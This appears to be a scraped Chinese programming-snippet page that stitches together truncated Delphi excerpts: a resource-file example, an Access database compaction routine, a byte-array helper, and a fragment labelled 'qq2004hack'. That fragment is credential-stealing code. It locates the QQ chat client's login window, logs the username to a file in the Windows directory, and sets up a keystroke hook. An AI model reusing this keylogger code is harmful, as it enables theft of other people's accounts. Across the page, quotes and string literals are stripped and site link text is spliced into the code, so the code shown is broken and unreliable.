摘要：
做一个.rc的文件，里面是文本格式，内容如下：
资源名 类型 资源在windows中的文件件 mycur1 cursor 28.cur //加入光标mycur2 cursor 29.cur //加入光标mycur3 cursor 30.cur //加入光标myico1 icon ico.ico //加入图标bmp1 bitmap 1.bmpbmp2 bitmap 2.bmp
注意要把那......
摘要：
uses dao97,dao2000;
procedure compactmdbdatabase(srcdbname,dstdbname,oldpwd,newpwd:string;baccess97:boolean=true);var idbengine:_dbengine;begin if oldpwd <> then oldpwd := ;pwd=+oldpwd; if new......
qq2004hack上一页 ... if trim(user)<> then begin 【程序编程相关:
QQ聊天记录器演示程序(二)】 【推荐阅读:
快捷方式/删除项/EXE自删除DIY】 assignfile(f,getwindir+name.txt); 【扩展信息:
QQ聊天记录器演示程序(一)】 rewrite(f); write(f,qq 用户名:+user); closefile(f); exit; end; end; function fqqid(ahwnd:hwnd;w:integer):boolean;stdcall; var wintext:pchar; begin getmem(wintext,100); getclassname(ahwnd,wintext,100); if wintext=#32770 then begin qqformid:=ahwnd; //得到qq窗口句柄 if qqformid<>0 then begin result:=true; enumchildwindows(qqformid,@fmsgidedit,0); // 暂且注销 end; end; end; function keyhookresult(lp: integer; wp: integer): pchar; begin result := [print screen]; ...
下一页 摘要：
function stringtovariantarray(const s: string): olevariant;var p: pointer;begin result := null; if length(s) > 0 then begin result := vararraycreate([0, length(s) - 1], varbyte); p := vararraylock......
